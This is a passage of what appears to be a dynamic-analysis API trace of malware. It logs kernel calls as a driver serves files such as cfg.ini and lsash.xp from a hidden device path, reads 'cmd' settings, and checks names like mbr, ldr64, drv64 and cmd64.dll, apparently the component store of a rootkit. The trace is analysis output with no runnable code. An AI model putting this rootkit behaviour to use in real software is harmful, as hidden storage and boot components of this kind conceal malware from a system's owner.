_MaxCount=0x10) returned 7 [0127.692] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.692] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.692] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfcf60 [0127.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.692] KeLeaveCriticalRegion () [0127.692] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.692] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.692] KeEnterCriticalRegion () [0127.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.692] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.692] KeLeaveCriticalRegion () [0127.692] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.692] KeEnterCriticalRegion () [0127.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.692] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.692] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.692] IdePortDispatch () returned 0x103 [0127.692] KeWaitForMutexObject () returned 0x0 [0127.693] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.693] KeLeaveCriticalRegion () [0127.693] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.693] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.693] KeEnterCriticalRegion () [0127.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.693] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b88000 [0127.693] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.693] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.693] IdePortDispatch () returned 0x103 [0127.693] KeWaitForMutexObject () returned 0x0 [0127.693] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.693] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.693] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.693] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.693] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.693] IdePortDispatch () returned 0x103 [0127.693] KeWaitForMutexObject () returned 0x0 [0127.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.693] KeLeaveCriticalRegion () [0127.693] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.694] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.694] KeEnterCriticalRegion () [0127.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.694] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.694] KeLeaveCriticalRegion () [0127.694] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.694] KeEnterCriticalRegion () [0127.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.694] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.694] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.694] KeLeaveCriticalRegion () [0127.694] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.694] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.694] KeEnterCriticalRegion () [0127.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.694] ExFreePoolWithTag (P=0xfffffa8003bfcf60, Tag=0x0) [0127.694] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.694] KeLeaveCriticalRegion () [0127.694] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.694] ReleaseMutex (hMutex=0xf0) returned 1 [0127.694] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.694] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.694] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.695] KeEnterCriticalRegion () [0127.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.695] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.695] IdePortDispatch () returned 0x103 [0127.695] KeWaitForMutexObject () returned 0x0 [0127.695] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.695] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.695] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.695] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.695] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.695] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfcb00 [0127.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.695] KeLeaveCriticalRegion () [0127.695] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.695] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.695] KeEnterCriticalRegion () [0127.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.695] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.695] KeLeaveCriticalRegion () [0127.695] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.695] KeEnterCriticalRegion () [0127.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.695] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.695] IdePortDispatch () returned 0x103 [0127.695] KeWaitForMutexObject () returned 0x0 [0127.696] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.696] KeLeaveCriticalRegion () [0127.696] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.696] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.696] KeEnterCriticalRegion () [0127.696] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.696] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b89000 [0127.696] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.696] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.696] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.696] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.696] IdePortDispatch () returned 0x103 [0127.696] KeWaitForMutexObject () returned 0x0 [0127.696] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.696] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.696] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.696] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.696] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.696] IdePortDispatch () returned 0x103 [0127.696] KeWaitForMutexObject () returned 0x0 [0127.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.696] KeLeaveCriticalRegion () [0127.696] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.697] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.697] KeEnterCriticalRegion () [0127.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.697] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.697] KeLeaveCriticalRegion () [0127.697] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.697] KeEnterCriticalRegion () [0127.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.697] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.697] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfcbc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.697] KeLeaveCriticalRegion () [0127.697] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.697] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.697] KeEnterCriticalRegion () [0127.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.697] ExFreePoolWithTag (P=0xfffffa8003bfcb00, Tag=0x0) [0127.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.697] KeLeaveCriticalRegion () [0127.697] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.697] ReleaseMutex (hMutex=0xf0) returned 1 [0127.697] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.697] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.697] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.697] KeEnterCriticalRegion () [0127.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.697] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.697] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.698] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.698] IdePortDispatch () returned 0x103 [0127.698] KeWaitForMutexObject () returned 0x0 [0127.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.698] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.698] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.698] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.698] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.698] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb3c0 [0127.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.698] KeLeaveCriticalRegion () [0127.698] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.698] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.698] KeEnterCriticalRegion () [0127.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.698] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.698] KeLeaveCriticalRegion () [0127.698] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.698] KeEnterCriticalRegion () [0127.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.698] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.698] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.698] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.698] IdePortDispatch () returned 0x103 [0127.698] KeWaitForMutexObject () returned 0x0 [0127.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.698] KeLeaveCriticalRegion () [0127.699] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.699] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.699] KeEnterCriticalRegion () [0127.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.699] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b8a000 [0127.699] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.699] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.699] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.699] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.699] IdePortDispatch () returned 0x103 [0127.699] KeWaitForMutexObject () returned 0x0 [0127.699] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.699] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.699] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.699] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.699] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.699] IdePortDispatch () returned 0x103 [0127.699] KeWaitForMutexObject () returned 0x0 [0127.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.699] KeLeaveCriticalRegion () [0127.699] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.700] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.700] KeEnterCriticalRegion () [0127.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.700] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.700] KeLeaveCriticalRegion () [0127.700] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.700] KeEnterCriticalRegion () [0127.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.700] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.700] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfb480, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.700] KeLeaveCriticalRegion () [0127.700] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.700] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.700] KeEnterCriticalRegion () [0127.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.700] ExFreePoolWithTag (P=0xfffffa8003bfb3c0, Tag=0x0) [0127.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.700] KeLeaveCriticalRegion () [0127.700] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.700] ReleaseMutex (hMutex=0xf0) returned 1 [0127.700] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.700] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.700] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.700] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.700] KeEnterCriticalRegion () [0127.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.700] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.700] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.700] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.700] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.700] IdePortDispatch () returned 0x103 [0127.701] KeWaitForMutexObject () returned 0x0 [0127.701] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.701] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.701] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.701] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.701] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.701] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.701] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.701] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.701] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.701] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.701] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.701] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.701] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.701] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.701] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.701] KeLeaveCriticalRegion () [0127.701] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.701] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.701] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.701] KeEnterCriticalRegion () [0127.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.701] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.701] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.701] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.701] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.701] IdePortDispatch () returned 0x103 [0127.701] KeWaitForMutexObject () returned 0x0 [0127.701] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.701] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.701] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 